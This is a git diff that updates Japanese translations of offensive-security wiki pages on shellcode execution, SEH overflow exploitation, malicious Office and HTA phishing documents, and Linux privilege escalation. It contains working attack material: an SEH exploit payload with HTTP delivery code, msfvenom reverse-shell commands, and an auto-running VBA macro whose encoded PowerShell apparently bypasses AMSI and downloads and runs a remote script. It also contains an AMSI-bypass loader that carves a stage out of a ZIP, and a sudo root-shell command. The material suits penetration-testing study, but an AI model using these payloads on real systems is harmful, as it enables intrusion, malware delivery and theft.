ATTACKER_PORT)) ``` ヒント: -- VirtualProtect は、既存のバッファを RX にする方が好ましい場合に同様に動作します。パラメータの順序が異なる点に注意してください。 -- スタック領域が狭い場合は、別の場所に RWX を割り当て（RCX=NULL）て、スタックを再利用する代わりにその新領域へ jmp してください。 -- RSP を調整するガジェット（例: add rsp, 8; ret）を常に考慮し、junk qwords を挿入して調整してください。 +- VirtualProtect は既存のバッファを RX にする方が望ましい場合に同様に動作しますが、パラメータの順序が異なります。 +- stack の空きが厳しい場合は、RWX を別の場所に割り当て（RCX=NULL）し、stack を再利用する代わりにその新しい領域へ jmp してください。 +- RSP を調整する gadgets（例: add rsp, 8; ret）を常に考慮し、junk qwords を挿入して対処してください。 -- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/index.html) **should be disabled** — 実行間でアドレスを信頼可能にするため。さもないと関数が格納されるアドレスは毎回同じではなく、win 関数がどこにロードされているかを特定するために何らかの leak が必要になります。 -- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) も無効化しておくべきです。さもないと改竄された EIP のリターンアドレスは実行されません。 -- [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **stack** 保護は、該当領域が実行不可になるためスタック内の shellcode の実行を防ぎます。 +- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/index.html) **無効化する必要があります**。そうしないと、関数が格納されるアドレスが実行ごとに変わってしまい、win関数がどこにロードされているかを把握するために leak が必要になります。 +- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) も無効にする必要があります。そうでないと、改竄された EIP のリターンアドレスが正しく実行されません。 +- [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **stack** 保護は、該当領域が実行不可になるため、stack 内の shellcode の実行を阻止します。 -## その他の例と参考 +## Other Examples & References - [https://ir0nstone.gitbook.io/notes/types/stack/shellcode](https://ir0nstone.gitbook.io/notes/types/stack/shellcode) - [https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html) -- 64bit、ASLR 下で stack address leak があるケース: shellcode を書き込みそこへ jump する +- 64bit、ASLR が有効で stack アドレスの leak があるケース。shellcode を書き込み、それにジャンプする。 - [https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html) -- 32 bit、ASLR 下で stack leak があるケース: shellcode を書き込みそこへ jump する +- 32 bit、ASLR が有効で stack の leak があるケース。shellcode を書き込み、それにジャンプする。 - [https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html) -- 32 bit、ASLR 下で stack leak があり、exit() の呼び出しを防ぐ比較処理を入れつつ変数を上書きして shellcode を書き込み jump するケース +- 32 bit、ASLR が有効で stack の leak があり、exit() の呼び出しを防ぐための比較を行い、変数を上書きして値を設定し、shellcode を書き込んでジャンプするケース。 - [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/) -- arm64、ASLR 無し、ROP gadget を使ってスタックを実行可能にしスタック内の shellcode に jump する +- arm64、ASLR なし、ROP gadget を使って stack を実行可能にし、stack 内の shellcode にジャンプする。 -## 参考 +## References - [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE)](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html) - [VirtualAlloc documentation](https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualalloc) diff --git a/src/binary-exploitation/stack-overflow/windows-seh-overflow.md b/src/binary-exploitation/stack-overflow/windows-seh-overflow.md index b5f09f4b6..f0d5ae0e8 100644 --- a/src/binary-exploitation/stack-overflow/windows-seh-overflow.md +++ b/src/binary-exploitation/stack-overflow/windows-seh-overflow.md @@ -2,24 +2,24 @@ {{#include ../../banners/hacktricks-training.md}} -SEH-based exploitation は、スタック上に格納された Structured Exception Handler チェーンを悪用する古典的な x86 Windows の手法です。スタックバッファオーバーフローが次の2つの4バイトフィールドを上書きすると、 +SEH-based exploitation は、スタック上に保存された Structured Exception Handler チェーンを悪用する古典的な x86 Windows の手法です。スタックバッファオーバーフローで以下の 2 つの 4 バイトフィールドが上書きされると、 -- nSEH: 次の SEH レコードへのポインタ、そして -- SEH: 例外ハンドラ関数へのポインタ +- nSEH: pointer to the next SEH record, and +- SEH: pointer to the exception handler function -攻撃者は次の方法で実行制御を奪取できます: +攻撃者は実行制御を奪うことができます: -1) SEH を保護されていないモジュール内の POP POP RET ガジェットのアドレスに設定し、例外がディスパッチされるとそのガジェットが攻撃者制御下のバイト列にリターンするようにする、および -2) nSEH を使って実行を（通常は短いジャンプで）シェルコードが存在する大きなオーバーフローしたバッファへ戻す。 +1) SEH を non-protected module にある POP POP RET ガジェットのアドレスに設定し、例外がディスパッチされるとそのガジェットが攻撃者制御のバイトにリターンするようにすること、および +2) nSEH を使って実行をリダイレクト（通常は short jump）し、shellcode が配置されている大きなオーバーフローしたバッファに戻すこと。 -この手法は 32-bit プロセス（x86）に特有です。現代のシステムでは、ガジェット用に SafeSEH と ASLR の無いモジュールを選ぶと良いです。C-strings や HTTP パースの影響で、0x00、0x0a、0x0d（NUL/CR/LF）などがしばしば使用不可の文字になります。 +この手法は 32-bit プロセス（x86）に特有です。モダンなシステムでは、gadget 用に SafeSEH と ASLR が無効のモジュールを優先してください。C-strings や HTTP パースのため、0x00, 0x0a, 0x0d (NUL/CR/LF) などが bad characters に含まれやすいです。 --- ## Finding exact offsets (nSEH / SEH) -- プロセスをクラッシュさせて SEH チェーンが上書きされていることを確認する（例: x32dbg/x64dbg では SEH view を確認）。 -- オーバーフローさせるデータとして cyclic pattern を送り、nSEH と SEH に入る2つの dword のオフセットを算出する。 +- プロセスをクラッシュさせ、SEH チェーンが上書きされていることを確認する（例: x32dbg/x64dbg では SEH view を確認）。 +- オーバーフローするデータとして cyclic pattern を送り、nSEH と SEH に入る 2 つの dword のオフセットを算出する。 Example with peda/GEF/pwntools on a 1000-byte POST body: ```bash @@ -33,26 +33,26 @@ python3 -c "from pwn import *; print(cyclic(1000).decode())" /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 1000 -q 0x41484241 # SEH # ➜ offsets example: nSEH=660, SEH=664 ``` -その位置にマーカーを置いて検証する（例: nSEH=b"BB", SEH=b"CC"）。クラッシュを再現可能にするために合計長は一定に保つ。 +それらの位置にマーカーを置いて検証する（例: nSEH=b"BB", SEH=b"CC"）。クラッシュを再現可能にするため、合計長は一定に保つ。 --- -## POP POP RET (SEH gadget) を選ぶ +## POP POP RET (SEH gadget) の選択 -SEHフレームを解除して nSEH バイトに戻すために POP POP RET シーケンスが必要。SafeSEH が無く、理想的には ASLR も無いモジュールで探す: +SEHフレームを解放して nSEH バイトに戻すために POP POP RET シーケンスが必要。SafeSEH が無効で、できれば ASLR も無効のモジュールから探す: -- Mona (Immunity/WinDbg): `!mona modules` then `!mona seh -m modulename`. -- x64dbg plugin ERC.Xdbg: `ERC --SEH` to list POP POP RET gadgets and SafeSEH status. +- Mona (Immunity/WinDbg): `!mona modules`、次に `!mona seh -m modulename`。 +- x64dbg plugin ERC.Xdbg: `ERC --SEH` で POP POP RET ガジェットと SafeSEH の状態を一覧表示する。 -リトルエンディアンで書き込んだときに badchars を含まないアドレスを選ぶ（例: `p32(0x004094D8)`）。保護が許すなら脆弱なバイナリ内の gadget を優先する。 +リトルエンディアンで書き込んだときに badchars を含まないアドレスを選ぶ（例: `p32(0x004094D8)`）。保護が許すなら脆弱なバイナリ内のガジェットを優先する。 --- ## Jump-back technique (short + near jmp) -nSEH は 4 バイトしかないため、最大で 2 バイトの short jump（`EB xx`）とパディングしか入らない。バッファ先頭に到達するために何百バイトも戻る必要がある場合は、nSEH の直前に 5 バイトの near jump を置き、nSEH からの short jump でそれにチェーンする。 +nSEH はわずか4バイトで、最大でも2バイトの short jump（`EB xx`）とパディングが収まる程度。バッファの先頭まで数百バイト戻る必要がある場合は、nSEH の直前に5バイトの near jump を置き、nSEH からの short jump でそれに繋ぐ。 -With nasmshell: +nasmshell を使って: ```text nasm> jmp -660 ; too far for short; near jmp is 5 bytes E967FDFFFF @@ -61,7 +61,7 @@ EBF6 nasm> jmp -652 ; 8 bytes closer (to account for short-jmp hop) E96FFDFFFF ``` -nSEH が offset 660 にある1000-byte payload のレイアウト案: +nSEH が offset 660 にある 1000-byte payload のレイアウト案: ```python buffer_length = 1000 payload = b"\x90"*50 + shellcode # NOP sled + shellcode at buffer start @@ -71,17 +71,17 @@ payload += b"\xEB\xF6" + b"BB" # nSEH: short jmp -8 + 2B pa payload += p32(0x004094D8) # SEH: POP POP RET (no badchars) payload += b"D" * (buffer_length - len(payload)) ``` -実行フロー: -- 例外が発生し、ディスパッチャーは上書きされた SEH を使用する。 -- POP POP RET がスタックを巻き戻し、我々の nSEH に到達する。 -- nSEH は `jmp short -8`（5バイトの near ジャンプ）を実行する。 -- Near ジャンプはバッファの先頭に着地し、そこには NOP sled + shellcode が存在する。 +Execution flow: +- 例外が発生し、ディスパッチャが上書きされた SEH を使用します。 +- POP POP RET によりスタックが巻き戻され、nSEH に移ります。 +- nSEH が `jmp short -8` を実行し、5-byte near jump に入ります。 +- Near jump はバッファの先頭に着地し、そこで NOP sled + shellcode が配置されています。 --- -## 無効なバイト (badchars) +## Bad characters -完全な badchar 文字列を作成し、クラッシュ後のスタックメモリを比較して、ターゲットのパーサによって破損するバイトを除外する。HTTPベースのオーバーフローでは、`\x00\x0a\x0d` はほとんど常に除外される。 +完全な badchar 文字列を構築し、クラッシュ後のスタックメモリと比較して、ターゲットのパーサによって破損するバイトを除去します。HTTP ベースのオーバーフローでは、`\x00\x0a\x0d` はほぼ常に除外されます。 ```python badchars = bytes([x for x in range(1,256)]) payload = b"A"*660 + b"BBBB" + b"CCCC" + badchars # position appropriately for your case @@ -90,21 +90,21 @@ payload = b"A"*660 + b"BBBB" + b"CCCC" + badchars # position appropriately for ## Shellcode generation (x86) -msfvenomをbadcharsとともに使用してください。小さなNOP sledは着弾位置のばらつきを吸収します。 +msfvenom を badchars とともに使用してください。小さな NOP sled は着弾のばらつきを許容するのに役立ちます。 ```bash msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST= LPORT= \ -b "\x00\x0a\x0d" -f python -v sc ``` -オンザフライで生成する場合、hex形式はPythonに埋め込んでunhexするのに便利です: +オンザフライで生成する場合、hex形式は埋め込んでPythonでunhexするのに便利です: ```bash msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST= LPORT= \ -b "\x00\x0a\x0d" -f hex ``` --- -## HTTPでの配信 (正確な CRLF + Content-Length) +## HTTP経由での送信（正確な CRLF + Content-Length） -脆弱なベクトルがHTTPリクエストボディである場合、正確なCRLFsとContent-Lengthを指定した生のリクエストを作成し、サーバがオーバーフローしたボディ全体を読み取るようにする。 +脆弱なベクターが HTTP リクエスト本文である場合、正確な CRLFs と Content-Length を含む生のリクエストを作成し、サーバーがオーバーフローする本文全体を読み取るようにします。 ```python # pip install pwntools from pwn import remote @@ -127,21 +127,21 @@ p.close() ## ツール -- x32dbg/x64dbg — SEHチェーンを観察しクラッシュをトリアージするため。 -- ERC.Xdbg (x64dbg plugin) — SEHガジェットを列挙する: `ERC --SEH`. -- Mona — 代替として: `!mona modules`, `!mona seh`. -- nasmshell — 短い／近距離ジャンプをアセンブルし生のオペコードをコピーするため。 -- pwntools — 正確なネットワークペイロードを作成するため。 +- x32dbg/x64dbg を使って SEHチェーン を観察し、クラッシュのトリアージを行う。 +- ERC.Xdbg (x64dbg plugin) を使って SEH gadget を列挙する: `ERC --SEH`. +- Mona を代替として使用: `!mona modules`, `!mona seh`. +- nasmshell を使って短い/近いジャンプをアセンブルし、生のオペコードをコピーする。 +- pwntools を使って精密なネットワークペイロードを作成する。 --- -## 注意と留意事項 +## 注意点と留意事項 -- x86プロセスにのみ適用されます。x64は別のSEHスキームを使用しており、SEHベースのエクスプロイトは一般的に実用的ではありません。 -- SafeSEHとASLRのないモジュール内のガジェットを優先してください; さもなければ、プロセスにロードされている保護されていないモジュールを見つけてください。 -- クラッシュ時に自動で再起動するサービスのウォッチドッグは、反復的なエクスプロイト開発を容易にすることがあります。 +- x86 プロセスにのみ適用されます。x64 は異なる SEH スキームを使用しており、SEH ベースの exploitation は一般的に実用的ではありません。 +- SafeSEH と ASLR を持たない module 内の gadget を優先する。さもなければ、プロセスにロードされている保護されていない module を見つける。 +- クラッシュ時に自動的に再起動する Service watchdog は、反復的な exploit 開発を容易にすることがある。 -## References +## 参考文献 - [HTB: Rainbow – SEH overflow to RCE over HTTP (0xdf)](https://0xdf.gitlab.io/2025/08/07/htb-rainbow.html) - [ERC.Xdbg – Exploit Research Plugin for x64dbg (SEH search)](https://github.com/Andy53/ERC.Xdbg) - [Corelan – Exploit writing tutorial part 7 (SEH)](https://www.corelan.be/index.php/2009/07/19/exploit-writing-tutorial-part-7-unicode-0day-buffer-overflow-seh-and-venetian-shellcode/) diff --git a/src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md b/src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md index eb97607a4..dcf81a0a1 100644 --- a/src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md +++ b/src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md @@ -1,40 +1,40 @@ -# Phishing Files & Documents +# Phishing ファイルとドキュメント {{#include ../../banners/hacktricks-training.md}} -## Office Documents +## Office ドキュメント -Microsoft Word は、ファイルを開く前にファイルのデータ検証を行います。データ検証は、OfficeOpenXML 標準に沿ったデータ構造の識別という形で行われます。データ構造の識別中にエラーが発生した場合、解析対象のファイルは開かれません。 +Microsoft Word は、ファイルを開く前にファイルのデータ検証を行います。データ検証は、OfficeOpenXML 標準に対するデータ構造の識別の形で実行されます。データ構造の識別中にエラーが発生した場合、解析対象のファイルは開かれません。 -通常、macros を含む Word ファイルは `.docm` 拡張子を使用します。しかし、拡張子を変更してファイル名を変更しても、マクロの実行能力を保持することが可能です.\ -例えば、RTF ファイルは設計上 macros をサポートしませんが、DOCM ファイルを RTF にリネームすると Microsoft Word により処理され、macros の実行が可能になります.\ -同じ内部動作とメカニズムは Microsoft Office Suite (Excel, PowerPoint etc.) のすべてのソフトウェアに適用されます。 +通常、マクロを含む Word ファイルは `.docm` 拡張子を使用します。しかし、ファイル拡張子を変更してファイル名を変更しても、マクロ実行能力を維持することが可能です.\ +例えば、RTF ファイルは設計上マクロをサポートしていませんが、DOCM ファイルを RTF にリネームすると Microsoft Word により処理され、マクロを実行可能になります.\ +同じ内部構造とメカニズムは Microsoft Office Suite（Excel、PowerPoint など）のすべてのソフトウェアに適用されます。 -以下のコマンドを使用して、どの拡張子がいくつかの Office プログラムによって実行されるかを確認できます： +次のコマンドを使用して、いくつかの Office プログラムが実行する拡張子を確認できます： ```bash assoc | findstr /i "word excel powerp" ``` -macros を含むリモートテンプレートを参照する DOCX ファイル（File –Options –Add-ins –Manage: Templates –Go）は、macros を“実行”することもできます。 +DOCX files referencing a remote template (File –Options –Add-ins –Manage: Templates –Go) that includes macros can “execute” macros as well. -### External Image Load +### 外部画像の読み込み Go to: _Insert --> Quick Parts --> Field_\ -_**Categories**: Links and References、**Filed names**: includePicture、および**Filename or URL**:_ http:///whatever +_**Categories**: Links and References, **Filed names**: includePicture, and **Filename or URL**:_ http:///whatever ![](<../../images/image (155).png>) ### Macros Backdoor -文書から任意のコードを実行するためにmacrosを使用することが可能です。 +文書内の macros を使って任意のコードを実行することが可能です。 -#### Autoload functions +#### Autoload 関数 -The more common they are, the more probable the AV will detect them. +一般的なものほど、AV に検出されやすくなります。 - AutoOpen() - Document_Open() -#### Macros Code Examples +#### Macros コード例 ```vba Sub AutoOpen() CreateObject("WScript.Shell").Exec ("powershell.exe -nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA=") @@ -66,14 +66,14 @@ proc.Create "powershell ``` #### メタデータを手動で削除 -「**File > Info > Inspect Document > Inspect Document**」に移動すると Document Inspector が表示されます。**Inspect** をクリックし、次に **Document Properties and Personal Information** の横にある **Remove All** をクリックします。 +**File > Info > Inspect Document > Inspect Document** に移動すると、Document Inspector が表示されます。**Inspect** をクリックし、次に **Document Properties and Personal Information** の横にある **Remove All** をクリックします。 #### Doc 拡張子 -完了したら、**Save as type** ドロップダウンで形式を **`.docx`** から **Word 97-2003 `.doc`** に変更します。\ -これは、**`.docx` にマクロを保存できない**ことと、マクロ有効の **`.docm`** 拡張子にはスティグマ（例：サムネイルアイコンに大きな `!` が表示され、一部の web/メールゲートウェイが完全にブロックする） があるためです。したがって、この **レガシーな `.doc` 拡張子が最良の妥協策** です。 +完了したら **Save as type** ドロップダウンを選択し、フォーマットを **`.docx`** から **Word 97-2003 `.doc`** に変更します。\\ +これは **`.docx` 内にマクロを保存できない** のと、マクロ対応の **`.docm`** 拡張子に対するスティグマがあるためです（例：サムネイルアイコンに大きな `!` が表示され、一部の web/メールゲートウェイで完全にブロックされることがあります）。したがって、この **レガシーな `.doc` 拡張子が最良の妥協案** です。 -#### Malicious Macros Generators +#### 悪意のあるマクロ生成ツール - MacOS - [**macphish**](https://github.com/cldrn/macphish) @@ -81,9 +81,9 @@ proc.Create "powershell ## HTA ファイル -HTA は、HTML とスクリプト言語（VBScript や JScript など）を組み合わせた Windows プログラムです。ユーザーインターフェイスを生成し、ブラウザのセキュリティモデルの制約を受けずに「完全に信頼された」アプリケーションとして実行されます。 +HTA は **HTML とスクリプト言語（VBScript や JScript など）を組み合わせた** Windows プログラムです。ユーザーインターフェースを生成し、ブラウザのセキュリティモデルの制約を受けない「完全に信頼された」アプリケーションとして実行されます。 -HTA は **`mshta.exe`** を使用して実行され、通常は **Internet Explorer** とともにインストールされます。これにより **`mshta` は IE に依存** します。したがって、IE がアンインストールされている場合、HTA は実行できなくなります。 +HTA は **`mshta.exe`** を使用して実行され、通常 **Internet Explorer** とともに **インストールされます**。そのため **`mshta` は IE に依存します**。したがって、IE がアンインストールされている場合、HTA は実行できません。 ```html <--! Basic HTA Execution --> @@ -138,11 +138,11 @@ var_func self.close ``` -## NTLM認証を強制する +## NTLM 認証の強制 -**NTLM認証を「リモートで」強制する**方法はいくつかあります。例えば、ユーザがアクセスするメールやHTMLに**見えない画像**を埋め込む（場合によってはHTTP MitMでも）ことや、被害者にフォルダを開くだけで**認証を** **トリガーする**ような**ファイルのアドレス**を送る、などです。 +NTLM 認証を「リモートで」強制する方法はいくつかある。例えば、ユーザがアクセスするメールや HTML に **不可視の画像** を追加する（HTTP MitM でも？）。あるいは、フォルダを開くだけで **認証をトリガーする** ファイルの **アドレス** を被害者に送る、など。 -**これらのアイデアやその他の情報は次のページを参照してください：** +**以下のページでこれらのアイデアや詳細を確認してください：** {{#ref}} @@ -156,22 +156,22 @@ self.close ### NTLM Relay -ハッシュや認証情報を盗むだけでなく、**NTLM relay attacks**を実行することも可能です： +ハッシュや認証情報を盗むだけでなく、**perform NTLM relay attacks** も可能であることを忘れないでください： - [**NTLM Relay attacks**](../pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#ntml-relay-attack) - [**AD CS ESC8 (NTLM relay to certificates)**](../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md#ntlm-relay-to-ad-cs-http-endpoints-esc8) -## LNK Loaders + ZIP-Embedded Payloads (fileless chain) +## LNK ローダー + ZIP 埋め込みペイロード (fileless chain) -非常に効果的なキャンペーンは、2つの正規のデコイ文書（PDF/DOCX）と悪意ある.lnkを含むZIPを配布します。トリックは、実際のPowerShellローダーがZIPの生バイト列中のユニークなマーカーの後に格納されており、.lnkがそれを切り出してメモリ上で完全に実行する点です。 +非常に効果的なキャンペーンは、正規に見える二つのデコイドキュメント（PDF/DOCX）と悪意のある .lnk を含む ZIP を配布する。トリックは、実際の PowerShell ローダーが ZIP の生バイト列中のユニークなマーカーの後に格納されており、.lnk がそれを切り出して完全にメモリ上で実行する点にある。 -Typical flow implemented by the .lnk PowerShell one-liner: +典型的なフロー（.lnk による PowerShell ワンライナーで実装される）: -1) 一般的なパス（Desktop、Downloads、Documents、%TEMP%、%ProgramData%、およびカレント作業ディレクトリの親）から元のZIPを探す。 -2) ZIPのバイトを読み取り、ハードコードされたマーカー（例: xFIQCV）を探す。マーカー以降が埋め込まれたPowerShellペイロードである。 -3) %ProgramData%にZIPをコピーし、そこで展開して、デコイの.docxを開いて正当らしく見せる。 -4) 現在のプロセスでAMSIをバイパスする: [System.Management.Automation.AmsiUtils]::amsiInitFailed = $true -5) 次段階をデオブスク化（例: 全ての#文字を削除）し、メモリ上で実行する。 +1) 一般的なパス（Desktop, Downloads, Documents, %TEMP%, %ProgramData% および カレントワーキングディレクトリの親）から元の ZIP を探す。 +2) ZIP のバイトを読み取り、ハードコードされたマーカー（例: xFIQCV）を探す。マーカー以降のすべてが埋め込まれた PowerShell ペイロードである。 +3) %ProgramData% に ZIP をコピーし、そこで展開して、正規に見せかけるためにデコイの .docx を開く。 +4) カレントプロセスで AMSI をバイパスする: [System.Management.Automation.AmsiUtils]::amsiInitFailed = $true +5) 次のステージをデオブフスケート（例: すべての # 文字を除去）し、メモリ内で実行する。 Example PowerShell skeleton to carve and run the embedded stage: ```powershell @@ -190,22 +190,22 @@ $code = [Text.Encoding]::UTF8.GetString($stage) -replace '#','' [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true) Invoke-Expression $code ``` -Notes -- 配信では信頼された PaaS サブドメイン（例: *.herokuapp.com）を悪用することが多く、IP/UA に基づいてペイロードを制限し（良性の ZIP を返す）ことがある。 -- 次段階では base64/XOR shellcode を復号化し、Reflection.Emit + VirtualAlloc 経由で実行してディスク痕跡を最小化することが多い。 +注意事項 +- Delivery often abuses reputable PaaS subdomains (e.g., *.herokuapp.com) and may gate payloads (serve benign ZIPs based on IP/UA). +- 次のステージでは、ディスク上の痕跡を最小化するために base64/XOR shellcode を復号し、Reflection.Emit + VirtualAlloc を介して実行することが多い。 -Persistence used in the same chain -- Microsoft Web Browser control の COM TypeLib hijacking により、IE/Explorer やそれを埋め込むアプリがペイロードを自動的に再起動するようにする。詳細とすぐ使えるコマンドは以下を参照: +同じチェーンで使用される Persistence +- Microsoft Web Browser control の COM TypeLib hijacking により、IE/Explorer やそれを埋め込むアプリが自動的に payload を再実行するようにする。詳細と利用可能なコマンドは以下を参照: {{#ref}} ../../windows-hardening/windows-local-privilege-escalation/com-hijacking.md {{#endref}} Hunting/IOCs -- アーカイブデータの末尾に ASCII マーカー文字列（例: xFIQCV）が追記された ZIP ファイル。 -- .lnk が親/ユーザフォルダを列挙して ZIP を特定し、デコイ文書を開く。 -- AMSI を [System.Management.Automation.AmsiUtils]::amsiInitFailed を使って改ざんする。 -- 長時間続くビジネススレッドが、信頼された PaaS ドメインにホストされたリンクで終わる。 +- アーカイブデータ末尾に ASCII マーカー文字列（例: xFIQCV）が追記された ZIP ファイル。 +- .lnk が親/ユーザフォルダを列挙して ZIP を探し、デコイ文書を開く。 +- AMSI の改ざん（[System.Management.Automation.AmsiUtils]::amsiInitFailed を利用）。 +- 長時間実行される業務スレッドが、信頼された PaaS ドメイン上にホストされたリンクで終わる。 ## References diff --git a/src/linux-hardening/privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/README.md index c7609e437..bf609f216 100644 --- a/src/linux-hardening/privilege-escalation/README.md +++ b/src/linux-hardening/privilege-escalation/README.md @@ -4,48 +4,48 @@ ## システム情報 -### OS 情報 +### OS情報 -実行中の OS に関する情報を収集しましょう。 +稼働中のOSについての情報収集を始めましょう ```bash (cat /proc/version || uname -a ) 2>/dev/null lsb_release -a 2>/dev/null # old, not by default on many systems cat /etc/os-release 2>/dev/null # universal on modern systems ``` -### Path +### パス -もし**`PATH` 変数内の任意のフォルダに書き込み権限がある場合**、いくつかの libraries や binaries を hijack できる可能性があります: +もし**`PATH` 変数内の任意のフォルダに書き込み権限がある**場合、いくつかの libraries や binaries を hijack できるかもしれません: ```bash echo $PATH ``` ### 環境情報 -環境変数に興味深い情報、パスワード、あるいはAPIキーは含まれていますか？ +環境変数に興味深い情報、パスワード、またはAPIキーはありますか？ ```bash (env || set) 2>/dev/null ``` ### Kernel exploits -カーネルのバージョンを確認し、escalate privileges に使用できる exploit があるか確認する +カーネルのバージョンを確認し、escalate privileges に使える exploit があるか確認する ```bash cat /proc/version uname -a searchsploit "Linux Kernel" ``` -脆弱なカーネルの良いリストと、既に **compiled exploits** があるものは以下で見つけられます: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) and [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ -他に **compiled exploits** を見つけられるサイト: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) +脆弱なカーネルの良いリストと、既に **compiled exploits** になっているものはここで見つけられます: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) and [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ +他にも **compiled exploits** が見つかるサイト: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) -そのサイトから全ての脆弱なカーネルバージョンを抽出するには、次のようにします: +そのサイトからすべての脆弱なカーネルバージョンを抽出するには、次のようにします: ```bash curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' ' ``` -カーネルのエクスプロイトを検索するのに役立つツール： +kernel exploits の検索に役立つツール: [linux-exploit-suggester.sh](https://github.com/mzet-/linux-exploit-suggester)\ [linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\ -[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (execute IN victim、kernel 2.x 向けの exploit のみをチェック) +[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (IN victimで実行、kernel 2.x向けのexploitsのみチェック) -常に **Google でカーネルバージョンを検索** してください。場合によってはあなたのカーネルバージョンが既存の kernel exploit に記載されており、その場合はその exploit が有効であると確信できます。 +必ず **Googleで kernel バージョンを検索** してください。お使いの kernel バージョンが既知の kernel exploit に記載されている可能性があり、その場合その exploit が有効であることを確認できます。 ### CVE-2016-5195 (DirtyCow) @@ -57,13 +57,13 @@ g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c ``` -### Sudo バージョン +### Sudo version -以下に表示される脆弱な sudo バージョンに基づいて: +以下に示される脆弱な sudo バージョンに基づく: ```bash searchsploit sudo ``` -この grep を使って sudo のバージョンが脆弱かどうか確認できます。 +このgrepを使ってsudoのバージョンが脆弱かどうか確認できます。 ```bash sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\.2[01234567]" ``` @@ -73,20 +73,20 @@ sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\. ``` sudo -u#-1 /bin/bash ``` -### Dmesg の署名検証に失敗 +### Dmesg の署名検証に失敗しました -**smasher2 box of HTB** を確認して、この vuln がどのように悪用され得るかの **例** を参照してください +このvulnがどのように悪用され得るかの**例**は、**smasher2 box of HTB**を参照してください。 ```bash dmesg 2>/dev/null | grep "signature" ``` -### さらにシステムの列挙 